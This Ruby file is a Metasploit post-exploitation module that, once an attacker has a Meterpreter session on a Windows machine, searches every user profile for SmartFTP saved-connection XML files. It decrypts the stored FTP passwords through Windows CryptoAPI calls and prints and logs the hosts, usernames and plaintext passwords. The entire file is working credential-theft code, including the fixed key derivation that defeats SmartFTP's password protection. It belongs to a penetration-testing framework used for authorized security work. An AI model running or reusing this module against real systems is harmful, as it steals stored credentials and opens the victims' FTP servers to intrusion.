## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rexml/document' class MetasploitModule < Msf::Post include Msf::Post::Windows::UserProfiles def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather SmartFTP Saved Password Extraction', 'Description' => %q{ This module finds saved login credentials for the SmartFTP FTP client for windows. It finds the saved passwords and decrypts them.}, 'License' => MSF_LICENSE, 'Author' => [ 'theLightCosine'], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) end def run grab_user_profiles().each do |user| next if user['AppData'].nil? tmpath = user['AppData'] + "\\SmartFTP\\Client 2.0\\Favorites" enum_subdirs(tmpath).each do |xmlfile| xml = get_xml(xmlfile) unless xml.nil? # Will report the creds to DB and user parse_xml(xml) end end end end #The saved connections in SmartFTP are saved in XML files saved # in a Directory with user-defineable sub-directories. This #function recursively searches all sub directories for the XML files def enum_subdirs(path) xmlfiles=[] begin session.fs.dir.foreach(path) do |sub| next if sub =~ /^(\.|\.\.|Predefined Favorites)$/ xmlpath= "#{path}\\#{sub}" if sub =~/\.xml$/ xmlfiles << xmlpath else xmlfiles += enum_subdirs(xmlpath) end end rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} when enumerating #{path}" end return xmlfiles end #We attempt to open the discovered XML files and alert the user if # we cannot access the file for any reason def get_xml(path) begin connections = client.fs.file.new(path, 'r') condata = '' until connections.eof condata << connections.read end return condata rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} when reading #{path}" return nil end end #Extracts the saved connection data from the XML. If no password # is saved, then we skip that connection. Reports the credentials # back to the database def parse_xml(data) mxml = REXML::Document.new(data).root mxml.elements.to_a("//FavoriteItem").each do |node| next if node.elements['Host'].nil? next if node.elements['User'].nil? next if node.elements['Password'].nil? host = node.elements['Host'].text port = node.elements['Port'].text user = node.elements['User'].text epassword = node.elements['Password'].text next if epassword.empty? pass = decrypt(epassword) print_good("HOST: #{host} PORT: #{port} USER: #{user} PASS: #{pass}") if session.db_record source_id = session.db_record.id else source_id = nil end service_data = { address: host, port: port, service_name: 'ftp', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :session, session_id: session_db_id, post_reference_name: self.refname, private_type: :password, private_data: pass, username: user } credential_data.merge!(service_data) credential_core = create_credential(credential_data) login_data ={ core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED } login_data.merge!(service_data) login = create_credential_login(login_data) end end #Hooks the Windows CryptoAPI libraries to decrypt the Passwords def decrypt(password) cipher = [password].pack("H*") ms_enhanced_prov = "Microsoft Enhanced Cryptographic Provider v1.0" prov_rsa_full = 1 crypt_verify_context = 0xF0000000 alg_md5 = 32771 alg_rc4 = 26625 advapi32 = client.railgun.advapi32 acquirecontext = advapi32.CryptAcquireContextW(4, nil, ms_enhanced_prov, prov_rsa_full, crypt_verify_context) createhash = advapi32.CryptCreateHash(acquirecontext['phProv'], alg_md5, 0, 0, 4) hashdata = advapi32.CryptHashData(createhash['phHash'], "SmartFTP", 16, 0) derivekey = advapi32.CryptDeriveKey(acquirecontext['phProv'], alg_rc4, createhash['phHash'], 0x00800000, 4) decrypted = advapi32.CryptDecrypt(derivekey['phKey'], 0, true, 0, cipher, cipher.length) destroyhash = advapi32.CryptDestroyHash(createhash['phHash']) destroykey = advapi32.CryptDestroyKey(derivekey['phKey']) releasecontext = advapi32.CryptReleaseContext(acquirecontext['phProv'], 0) data = decrypted['pbData'] data.gsub!(/[\x00]/, '') return data end end